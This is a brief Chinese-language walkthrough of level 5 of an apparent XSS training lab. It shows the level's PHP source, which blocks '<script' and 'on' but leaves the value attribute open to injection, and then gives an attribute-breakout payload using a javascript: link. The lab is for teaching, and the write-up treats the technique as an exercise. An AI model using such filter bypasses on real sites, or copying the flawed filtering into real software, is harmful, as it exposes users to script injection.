看一下源碼?
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>歡迎來到level5</title>
</head>
<body>
<h1 align=center>歡迎來到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";
?>
</body>
</html>
根據源碼知道過濾掉了一些關鍵詞?
?????????所以我們用javascript:在:后面寫入Javascript的代碼但是這通常是用于url
a"> <a href="javascript:alert(1)">ccc </a>
這樣的五關就通關了?